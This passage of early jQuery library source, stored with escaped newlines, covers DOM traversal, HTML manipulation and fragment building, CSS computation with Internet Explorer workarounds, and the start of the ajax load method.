);\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn jQuery.sibling( elem.parentNode.firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn jQuery.sibling( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn jQuery.nodeName( elem, \"iframe\" ) ?\n\t\t\telem.contentDocument || elem.contentWindow.document :\n\t\t\tjQuery.makeArray( elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar ret = jQuery.map( this, fn, until );\n\t\t\n\t\tif ( !runtil.test( name ) ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tret = jQuery.filter( selector, ret );\n\t\t}\n\n\t\tret = this.length > 1 ? jQuery.unique( ret ) : ret;\n\n\t\tif ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {\n\t\t\tret = ret.reverse();\n\t\t}\n\n\t\treturn this.pushStack( ret, name, slice.call(arguments).join(\",\") );\n\t};\n});\n\njQuery.extend({\n\tfilter: function( expr, elems, not ) {\n\t\tif ( not ) {\n\t\t\texpr = \":not(\" + expr + \")\";\n\t\t}\n\n\t\treturn jQuery.find.matches(expr, elems);\n\t},\n\t\n\tdir: function( elem, dir, until ) {\n\t\tvar matched = [], cur = elem[dir];\n\t\twhile ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {\n\t\t\tif ( cur.nodeType === 1 ) {\n\t\t\t\tmatched.push( cur );\n\t\t\t}\n\t\t\tcur = cur[dir];\n\t\t}\n\t\treturn matched;\n\t},\n\n\tnth: function( cur, result, dir, elem ) {\n\t\tresult = result || 1;\n\t\tvar num = 0;\n\n\t\tfor ( ; cur; cur = cur[dir] ) {\n\t\t\tif ( cur.nodeType === 1 && ++num === result ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn cur;\n\t},\n\n\tsibling: function( n, elem ) {\n\t\tvar r = [];\n\n\t\tfor ( ; n; n = n.nextSibling ) {\n\t\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\t\tr.push( n );\n\t\t\t}\n\t\t}\n\n\t\treturn r;\n\t}\n});\nvar rinlinejQuery = / jQuery\\d+=\"(?:\\d+|null)\"/g,\n\trleadingWhitespace = /^\\s+/,\n\trxhtmlTag = /(<([\\w:]+)[^>]*?)\\/>/g,\n\trselfClosing = /^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,\n\trtagName = /<([\\w:]+)/,\n\trtbody = /<tbody/i,\n\trhtml = /<|&\\w+;/,\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,  // checked=\"checked\" or checked (html5)\n\tfcloseTag = function( all, front, tag ) {\n\t\treturn rselfClosing.test( tag ) ?\n\t\t\tall :\n\t\t\tfront + \"></\" + tag + \">\";\n\t},\n\twrapMap = {\n\t\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\t\tlegend: [ 1, \"<fieldset>\", \"</fieldset>\" ],\n\t\tthead: [ 1, \"<table>\", \"</table>\" ],\n\t\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\t\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\t\tcol: [ 2, \"<table><tbody></tbody><colgroup>\", \"</colgroup></table>\" ],\n\t\tarea: [ 1, \"<map>\", \"</map>\" ],\n\t\t_default: [ 0, \"\", \"\" ]\n\t};\n\nwrapMap.optgroup = wrapMap.option;\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n// IE can't serialize <link> and <script> tags normally\nif ( !jQuery.support.htmlSerialize ) {\n\twrapMap._default = [ 1, \"div<div>\", \"</div>\" ];\n}\n\njQuery.fn.extend({\n\ttext: function( text ) {\n\t\tif ( jQuery.isFunction(text) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.text( text.call(this, i, self.text()) );\n\t\t\t});\n\t\t}\n\n\t\tif ( typeof text !== \"object\" && text !== undefined ) {\n\t\t\treturn this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );\n\t\t}\n\n\t\treturn jQuery.getText( this );\n\t},\n\n\twrapAll: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapAll( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// The elements to wrap the target around\n\t\t\tvar wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);\n\n\t\t\tif ( this[0].parentNode ) {\n\t\t\t\twrap.insertBefore( this[0] );\n\t\t\t}\n\n\t\t\twrap.map(function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstChild && elem.firstChild.nodeType === 1 ) {\n\t\t\t\t\telem = elem.firstChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t}).append(this);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapInner( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar self = jQuery( this ), contents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t});\n\t},\n\n\twrap: function( html ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery( this ).wrapAll( html );\n\t\t});\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each(function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t}).end();\n\t},\n\n\tappend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.appendChild( elem );\n\t\t\t}\n\t\t});\n\t},\n\n\tprepend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.insertBefore( elem, this.firstChild );\n\t\t\t}\n\t\t});\n\t},\n\n\tbefore: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = jQuery(arguments[0]);\n\t\t\tset.push.apply( set, this.toArray() );\n\t\t\treturn this.pushStack( set, \"before\", arguments );\n\t\t}\n\t},\n\n\tafter: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = this.pushStack( this, \"after\", arguments );\n\t\t\tset.push.apply( set, jQuery(arguments[0]).toArray() );\n\t\t\treturn set;\n\t\t}\n\t},\n\n\tclone: function( events ) {\n\t\t// Do the clone\n\t\tvar ret = this.map(function() {\n\t\t\tif ( !jQuery.support.noCloneEvent && !jQuery.isXMLDoc(this) ) {\n\t\t\t\t// IE copies events bound via attachEvent when\n\t\t\t\t// using cloneNode. Calling detachEvent on the\n\t\t\t\t// clone will also remove the events from the orignal\n\t\t\t\t// In order to get around this, we use innerHTML.\n\t\t\t\t// Unfortunately, this means some modifications to\n\t\t\t\t// attributes in IE that are actually only stored\n\t\t\t\t// as properties will not be copied (such as the\n\t\t\t\t// the name attribute on an input).\n\t\t\t\tvar html = this.outerHTML, ownerDocument = this.ownerDocument;\n\t\t\t\tif ( !html ) {\n\t\t\t\t\tvar div = ownerDocument.createElement(\"div\");\n\t\t\t\t\tdiv.appendChild( this.cloneNode(true) );\n\t\t\t\t\thtml = div.innerHTML;\n\t\t\t\t}\n\n\t\t\t\treturn jQuery.clean([html.replace(rinlinejQuery, \"\")\n\t\t\t\t\t.replace(rleadingWhitespace, \"\")], ownerDocument)[0];\n\t\t\t} else {\n\t\t\t\treturn this.cloneNode(true);\n\t\t\t}\n\t\t});\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( events === true ) {\n\t\t\tcloneCopyEvent( this, ret );\n\t\t\tcloneCopyEvent( this.find(\"*\"), ret.find(\"*\") );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn ret;\n\t},\n\n\thtml: function( value ) {\n\t\tif ( value === undefined ) {\n\t\t\treturn this[0] && this[0].nodeType === 1 ?\n\t\t\t\tthis[0].innerHTML.replace(rinlinejQuery, \"\") :\n\t\t\t\tnull;\n\n\t\t// See if we can take a shortcut and just use innerHTML\n\t\t} else if ( typeof value === \"string\" && !/<script/i.test( value ) &&\n\t\t\t(jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) &&\n\t\t\t!wrapMap[ (rtagName.exec( value ) || [\"\", \"\"])[1].toLowerCase() ] ) {\n\n\t\t\tvalue = value.replace(rxhtmlTag, fcloseTag);\n\n\t\t\ttry {\n\t\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\tif ( this[i].nodeType === 1 ) {\n\t\t\t\t\t\tjQuery.cleanData( this[i].getElementsByTagName(\"*\") );\n\t\t\t\t\t\tthis[i].innerHTML = value;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t} catch(e) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\n\t\t} else if ( jQuery.isFunction( value ) ) {\n\t\t\tthis.each(function(i){\n\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\tself.empty().append(function(){\n\t\t\t\t\treturn value.call( this, i, old );\n\t\t\t\t});\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.empty().append( value );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\treplaceWith: function( value ) {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\t// Make sure that the elements are removed from the DOM before they are inserted\n\t\t\t// this can help fix replacing a parent with child elements\n\t\t\tif ( !jQuery.isFunction( value ) ) {\n\t\t\t\tvalue = jQuery( value ).detach();\n\n\t\t\t} else {\n\t\t\t\treturn this.each(function(i) {\n\t\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\t\tself.replaceWith( value.call( this, i, old ) );\n\t\t\t\t});\n\t\t\t}\n\n\t\t\treturn this.each(function() {\n\t\t\t\tvar next = this.nextSibling, parent = this.parentNode;\n\n\t\t\t\tjQuery(this).remove();\n\n\t\t\t\tif ( next ) {\n\t\t\t\t\tjQuery(next).before( value );\n\t\t\t\t} else {\n\t\t\t\t\tjQuery(parent).append( value );\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\treturn this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), \"replaceWith\", value );\n\t\t}\n\t},\n\n\tdetach: function( selector ) {\n\t\treturn this.remove( selector, true );\n\t},\n\n\tdomManip: function( args, table, callback ) {\n\t\tvar results, first, value = args[0], scripts = [];\n\n\t\t// We can't cloneNode fragments that contain checked, in WebKit\n\t\tif ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === \"string\" && rchecked.test( value ) ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery(this).domManip( args, table, callback, true );\n\t\t\t});\n\t\t}\n\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\targs[0] = value.call(this, i, table ? self.html() : undefined);\n\t\t\t\tself.domManip( args, table, callback );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// If we're in a fragment, just use that instead of building a new one\n\t\t\tif ( args[0] && args[0].parentNode && args[0].parentNode.nodeType === 11 ) {\n\t\t\t\tresults = { fragment: args[0].parentNode };\n\t\t\t} else {\n\t\t\t\tresults = buildFragment( args, this, scripts );\n\t\t\t}\n\n\t\t\tfirst = results.fragment.firstChild;\n\n\t\t\tif ( first ) {\n\t\t\t\ttable = table && jQuery.nodeName( first, \"tr\" );\n\n\t\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\t\tcallback.call(\n\t\t\t\t\t\ttable ?\n\t\t\t\t\t\t\troot(this[i], first) :\n\t\t\t\t\t\t\tthis[i],\n\t\t\t\t\t\tresults.cacheable || this.length > 1 || i > 0 ?\n\t\t\t\t\t\t\tresults.fragment.cloneNode(true) :\n\t\t\t\t\t\t\tresults.fragment\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( scripts ) {\n\t\t\t\tjQuery.each( scripts, evalScript );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\n\t\tfunction root( elem, cur ) {\n\t\t\treturn jQuery.nodeName(elem, \"table\") ?\n\t\t\t\t(elem.getElementsByTagName(\"tbody\")[0] ||\n\t\t\t\telem.appendChild(elem.ownerDocument.createElement(\"tbody\"))) :\n\t\t\t\telem;\n\t\t}\n\t}\n});\n\nfunction cloneCopyEvent(orig, ret) {\n\tvar i = 0;\n\n\tret.each(function() {\n\t\tif ( this.nodeName !== (orig[i] && orig[i].nodeName) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar oldData = jQuery.data( orig[i++] ), curData = jQuery.data( this, oldData ), events = oldData && oldData.events;\n\n\t\tif ( events ) {\n\t\t\tdelete curData.handle;\n\t\t\tcurData.events = {};\n\n\t\t\tfor ( var type in events ) {\n\t\t\t\tfor ( var handler in events[ type ] ) {\n\t\t\t\t\tjQuery.event.add( this, type, events[ type ][ handler ], events[ type ][ handler ].data );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction buildFragment( args, nodes, scripts ) {\n\tvar fragment, cacheable, cacheresults, doc;\n\n\t// webkit does not clone 'checked' attribute of radio inputs on cloneNode, so don't cache if string has a checked\n\tif ( args.length === 1 && typeof args[0] === \"string\" && args[0].length < 512 && args[0].indexOf(\"<option\") < 0 && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) {\n\t\tcacheable = true;\n\t\tcacheresults = jQuery.fragments[ args[0] ];\n\t\tif ( cacheresults ) {\n\t\t\tif ( cacheresults !== 1 ) {\n\t\t\t\tfragment = cacheresults;\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !fragment ) {\n\t\tdoc = (nodes && nodes[0] ? nodes[0].ownerDocument || nodes[0] : document);\n\t\tfragment = doc.createDocumentFragment();\n\t\tjQuery.clean( args, doc, fragment, scripts );\n\t}\n\n\tif ( cacheable ) {\n\t\tjQuery.fragments[ args[0] ] = cacheresults ? fragment : 1;\n\t}\n\n\treturn { fragment: fragment, cacheable: cacheable };\n}\n\njQuery.fragments = {};\n\njQuery.each({\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar ret = [], insert = jQuery( selector );\n\n\t\tfor ( var i = 0, l = insert.length; i < l; i++ ) {\n\t\t\tvar elems = (i > 0 ? this.clone(true) : this).get();\n\t\t\tjQuery.fn[ original ].apply( jQuery(insert[i]), elems );\n\t\t\tret = ret.concat( elems );\n\t\t}\n\t\treturn this.pushStack( ret, name, insert.selector );\n\t};\n});\n\njQuery.each({\n\t// keepData is for internal use only--do not document\n\tremove: function( selector, keepData ) {\n\t\tif ( !selector || jQuery.filter( selector, [ this ] ).length ) {\n\t\t\tif ( !keepData && this.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( this.getElementsByTagName(\"*\") );\n\t\t\t\tjQuery.cleanData( [ this ] );\n\t\t\t}\n\n\t\t\tif ( this.parentNode ) {\n\t\t\t\t this.parentNode.removeChild( this );\n\t\t\t}\n\t\t}\n\t},\n\n\tempty: function() {\n\t\t// Remove element nodes and prevent memory leaks\n\t\tif ( this.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( this.getElementsByTagName(\"*\") );\n\t\t}\n\n\t\t// Remove any remaining nodes\n\t\twhile ( this.firstChild ) {\n\t\t\tthis.removeChild( this.firstChild );\n\t\t}\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function() {\n\t\treturn this.each( fn, arguments );\n\t};\n});\n\njQuery.extend({\n\tclean: function( elems, context, fragment, scripts ) {\n\t\tcontext = context || document;\n\n\t\t// !context.createElement fails in IE with an error but returns typeof 'object'\n\t\tif ( typeof context.createElement === \"undefined\" ) {\n\t\t\tcontext = context.ownerDocument || context[0] && context[0].ownerDocument || document;\n\t\t}\n\n\t\tvar ret = [];\n\n\t\tjQuery.each(elems, function( i, elem ) {\n\t\t\tif ( typeof elem === \"number\" ) {\n\t\t\t\telem += \"\";\n\t\t\t}\n\n\t\t\tif ( !elem ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Convert html string into DOM nodes\n\t\t\tif ( typeof elem === \"string\" && !rhtml.test( elem ) ) {\n\t\t\t\telem = context.createTextNode( elem );\n\n\t\t\t} else if ( typeof elem === \"string\" ) {\n\t\t\t\t// Fix \"XHTML\"-style tags in all browsers\n\t\t\t\telem = elem.replace(rxhtmlTag, fcloseTag);\n\n\t\t\t\t// Trim whitespace, otherwise indexOf won't work as expected\n\t\t\t\tvar tag = (rtagName.exec( elem ) || [\"\", \"\"])[1].toLowerCase(),\n\t\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default,\n\t\t\t\t\tdepth = wrap[0],\n\t\t\t\t\tdiv = context.createElement(\"div\");\n\n\t\t\t\t// Go to html and back, then peel off extra wrappers\n\t\t\t\tdiv.innerHTML = wrap[1] + elem + wrap[2];\n\n\t\t\t\t// Move to the right depth\n\t\t\t\twhile ( depth-- ) {\n\t\t\t\t\tdiv = div.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Remove IE's autoinserted <tbody> from table fragments\n\t\t\t\tif ( !jQuery.support.tbody ) {\n\n\t\t\t\t\t// String was a <table>, *may* have spurious <tbody>\n\t\t\t\t\tvar hasBody = rtbody.test(elem),\n\t\t\t\t\t\ttbody = tag === \"table\" && !hasBody ?\n\t\t\t\t\t\t\tdiv.firstChild && div.firstChild.childNodes :\n\n\t\t\t\t\t\t\t// String was a bare <thead> or <tfoot>\n\t\t\t\t\t\t\twrap[1] === \"<table>\" && !hasBody ?\n\t\t\t\t\t\t\t\tdiv.childNodes :\n\t\t\t\t\t\t\t\t[];\n\n\t\t\t\t\tfor ( var j = tbody.length - 1; j >= 0 ; --j ) {\n\t\t\t\t\t\tif ( jQuery.nodeName( tbody[ j ], \"tbody\" ) && !tbody[ j ].childNodes.length ) {\n\t\t\t\t\t\t\ttbody[ j ].parentNode.removeChild( tbody[ j ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// IE completely kills leading whitespace when innerHTML is used\n\t\t\t\tif ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {\n\t\t\t\t\tdiv.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );\n\t\t\t\t}\n\n\t\t\t\telem = jQuery.makeArray( div.childNodes );\n\t\t\t}\n\n\t\t\tif ( elem.nodeType ) {\n\t\t\t\tret.push( elem );\n\t\t\t} else {\n\t\t\t\tret = jQuery.merge( ret, elem );\n\t\t\t}\n\n\t\t});\n\n\t\tif ( fragment ) {\n\t\t\tfor ( var i = 0; ret[i]; i++ ) {\n\t\t\t\tif ( scripts && jQuery.nodeName( ret[i], \"script\" ) && (!ret[i].type || ret[i].type.toLowerCase() === \"text/javascript\") ) {\n\t\t\t\t\tscripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] );\n\t\t\t\t} else {\n\t\t\t\t\tif ( ret[i].nodeType === 1 ) {\n\t\t\t\t\t\tret.splice.apply( ret, [i + 1, 0].concat(jQuery.makeArray(ret[i].getElementsByTagName(\"script\"))) );\n\t\t\t\t\t}\n\t\t\t\t\tfragment.appendChild( ret[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\t\n\tcleanData: function( elems ) {\n\t\tfor ( var i = 0, elem, id; (elem = elems[i]) != null; i++ ) {\n\t\t\tjQuery.event.remove( elem );\n\t\t\tjQuery.removeData( elem );\n\t\t}\n\t}\n});\n// exclude the following css properties to add px\nvar rexclude = /z-?index|font-?weight|opacity|zoom|line-?height/i,\n\tralpha = /alpha\\([^)]*\\)/,\n\tropacity = /opacity=([^)]*)/,\n\trfloat = /float/i,\n\trdashAlpha = /-([a-z])/ig,\n\trupper = /([A-Z])/g,\n\trnumpx = /^-?\\d+(?:px)?$/i,\n\trnum = /^-?\\d/,\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display:\"block\" },\n\tcssWidth = [ \"Left\", \"Right\" ],\n\tcssHeight = [ \"Top\", \"Bottom\" ],\n\n\t// cache check for defaultView.getComputedStyle\n\tgetComputedStyle = document.defaultView && document.defaultView.getComputedStyle,\n\t// normalize float css property\n\tstyleFloat = jQuery.support.cssFloat ? \"cssFloat\" : \"styleFloat\",\n\tfcamelCase = function( all, letter ) {\n\t\treturn letter.toUpperCase();\n\t};\n\njQuery.fn.css = function( name, value ) {\n\treturn access( this, name, value, true, function( elem, name, value ) {\n\t\tif ( value === undefined ) {\n\t\t\treturn jQuery.curCSS( elem, name );\n\t\t}\n\t\t\n\t\tif ( typeof value === \"number\" && !rexclude.test(name) ) {\n\t\t\tvalue += \"px\";\n\t\t}\n\n\t\tjQuery.style( elem, name, value );\n\t});\n};\n\njQuery.extend({\n\tstyle: function( elem, name, value ) {\n\t\t// don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// ignore negative width and height values #1599\n\t\tif ( (name === \"width\" || name === \"height\") && parseFloat(value) < 0 ) {\n\t\t\tvalue = undefined;\n\t\t}\n\n\t\tvar style = elem.style || elem, set = value !== undefined;\n\n\t\t// IE uses filters for opacity\n\t\tif ( !jQuery.support.opacity && name === \"opacity\" ) {\n\t\t\tif ( set ) {\n\t\t\t\t// IE has trouble with opacity if it does not have layout\n\t\t\t\t// Force it by setting the zoom level\n\t\t\t\tstyle.zoom = 1;\n\n\t\t\t\t// Set the alpha filter to set the opacity\n\t\t\t\tvar opacity = parseInt( value, 10 ) + \"\" === \"NaN\" ? \"\" : \"alpha(opacity=\" + value * 100 + \")\";\n\t\t\t\tvar filter = style.filter || jQuery.curCSS( elem, \"filter\" ) || \"\";\n\t\t\t\tstyle.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : opacity;\n\t\t\t}\n\n\t\t\treturn style.filter && style.filter.indexOf(\"opacity=\") >= 0 ?\n\t\t\t\t(parseFloat( ropacity.exec(style.filter)[1] ) / 100) + \"\":\n\t\t\t\t\"\";\n\t\t}\n\n\t\t// Make sure we're using the right name for getting the float value\n\t\tif ( rfloat.test( name ) ) {\n\t\t\tname = styleFloat;\n\t\t}\n\n\t\tname = name.replace(rdashAlpha, fcamelCase);\n\n\t\tif ( set ) {\n\t\t\tstyle[ name ] = value;\n\t\t}\n\n\t\treturn style[ name ];\n\t},\n\n\tcss: function( elem, name, force, extra ) {\n\t\tif ( name === \"width\" || name === \"height\" ) {\n\t\t\tvar val, props = cssShow, which = name === \"width\" ? cssWidth : cssHeight;\n\n\t\t\tfunction getWH() {\n\t\t\t\tval = name === \"width\" ? elem.offsetWidth : elem.offsetHeight;\n\n\t\t\t\tif ( extra === \"border\" ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tjQuery.each( which, function() {\n\t\t\t\t\tif ( !extra ) {\n\t\t\t\t\t\tval -= parseFloat(jQuery.curCSS( elem, \"padding\" + this, true)) || 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( extra === \"margin\" ) {\n\t\t\t\t\t\tval += parseFloat(jQuery.curCSS( elem, \"margin\" + this, true)) || 0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tval -= parseFloat(jQuery.curCSS( elem, \"border\" + this + \"Width\", true)) || 0;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif ( elem.offsetWidth !== 0 ) {\n\t\t\t\tgetWH();\n\t\t\t} else {\n\t\t\t\tjQuery.swap( elem, props, getWH );\n\t\t\t}\n\n\t\t\treturn Math.max(0, Math.round(val));\n\t\t}\n\n\t\treturn jQuery.curCSS( elem, name, force );\n\t},\n\n\tcurCSS: function( elem, name, force ) {\n\t\tvar ret, style = elem.style, filter;\n\n\t\t// IE uses filters for opacity\n\t\tif ( !jQuery.support.opacity && name === \"opacity\" && elem.currentStyle ) {\n\t\t\tret = ropacity.test(elem.currentStyle.filter || \"\") ?\n\t\t\t\t(parseFloat(RegExp.$1) / 100) + \"\" :\n\t\t\t\t\"\";\n\n\t\t\treturn ret === \"\" ?\n\t\t\t\t\"1\" :\n\t\t\t\tret;\n\t\t}\n\n\t\t// Make sure we're using the right name for getting the float value\n\t\tif ( rfloat.test( name ) ) {\n\t\t\tname = styleFloat;\n\t\t}\n\n\t\tif ( !force && style && style[ name ] ) {\n\t\t\tret = style[ name ];\n\n\t\t} else if ( getComputedStyle ) {\n\n\t\t\t// Only \"float\" is needed here\n\t\t\tif ( rfloat.test( name ) ) {\n\t\t\t\tname = \"float\";\n\t\t\t}\n\n\t\t\tname = name.replace( rupper, \"-$1\" ).toLowerCase();\n\n\t\t\tvar defaultView = elem.ownerDocument.defaultView;\n\n\t\t\tif ( !defaultView ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tvar computedStyle = defaultView.getComputedStyle( elem, null );\n\n\t\t\tif ( computedStyle ) {\n\t\t\t\tret = computedStyle.getPropertyValue( name );\n\t\t\t}\n\n\t\t\t// We should always get a number back from opacity\n\t\t\tif ( name === \"opacity\" && ret === \"\" ) {\n\t\t\t\tret = \"1\";\n\t\t\t}\n\n\t\t} else if ( elem.currentStyle ) {\n\t\t\tvar camelCase = name.replace(rdashAlpha, fcamelCase);\n\n\t\t\tret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ];\n\n\t\t\t// From the awesome hack by Dean Edwards\n\t\t\t// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\n\n\t\t\t// If we're not dealing with a regular pixel number\n\t\t\t// but a number that has a weird ending, we need to convert it to pixels\n\t\t\tif ( !rnumpx.test( ret ) && rnum.test( ret ) ) {\n\t\t\t\t// Remember the original values\n\t\t\t\tvar left = style.left, rsLeft = elem.runtimeStyle.left;\n\n\t\t\t\t// Put in the new values to get a computed value out\n\t\t\t\telem.runtimeStyle.left = elem.currentStyle.left;\n\t\t\t\tstyle.left = camelCase === \"fontSize\" ? \"1em\" : (ret || 0);\n\t\t\t\tret = style.pixelLeft + \"px\";\n\n\t\t\t\t// Revert the changed values\n\t\t\t\tstyle.left = left;\n\t\t\t\telem.runtimeStyle.left = rsLeft;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// A method for quickly swapping in/out CSS properties to get correct calculations\n\tswap: function( elem, options, callback ) {\n\t\tvar old = {};\n\n\t\t// Remember the old values, and insert the new ones\n\t\tfor ( var name in options ) {\n\t\t\told[ name ] = elem.style[ name ];\n\t\t\telem.style[ name ] = options[ name ];\n\t\t}\n\n\t\tcallback.call( elem );\n\n\t\t// Revert the old values\n\t\tfor ( var name in options ) {\n\t\t\telem.style[ name ] = old[ name ];\n\t\t}\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.hidden = function( elem ) {\n\t\tvar width = elem.offsetWidth, height = elem.offsetHeight,\n\t\t\tskip = elem.nodeName.toLowerCase() === \"tr\";\n\n\t\treturn width === 0 && height === 0 && !skip ?\n\t\t\ttrue :\n\t\t\twidth > 0 && height > 0 && !skip ?\n\t\t\t\tfalse :\n\t\t\t\tjQuery.curCSS(elem, \"display\") === \"none\";\n\t};\n\n\tjQuery.expr.filters.visible = function( elem ) {\n\t\treturn !jQuery.expr.filters.hidden( elem );\n\t};\n}\nvar jsc = now(),\n\trscript = /<script(.|\\s)*?\\/script>/gi,\n\trselectTextarea = /select|textarea/i,\n\trinput = /color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,\n\tjsre = /=\\?(&|$)/,\n\trquery = /\\?/,\n\trts = /(\\?|&)_=.*?(&|$)/,\n\trurl = /^(\\w+:)?\\/\\/([^\\/?#]+)/,\n\tr20 = /%20/g;\n\njQuery.fn.extend({\n\t// Keep a copy of the old load\n\t_load: jQuery.fn.load,\n\n\tload: function( url, params, callback ) {\n\t\tif ( typeof url !== \"string\" ) {\n\t\t\treturn this._load( url );\n\n\t\t// Don't do a request if no elements are being requested\n\t\t} else if ( !this.length ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tvar off = url.indexOf(\" \");\n\t\tif ( off >= 0 ) {\n\t\t\tvar selector = url.slice(off, url.length);\n\t\t\turl = url.slice(0, off);\n\t\t}\n\n\t\t// Default to a GET request\n\t\tvar type = 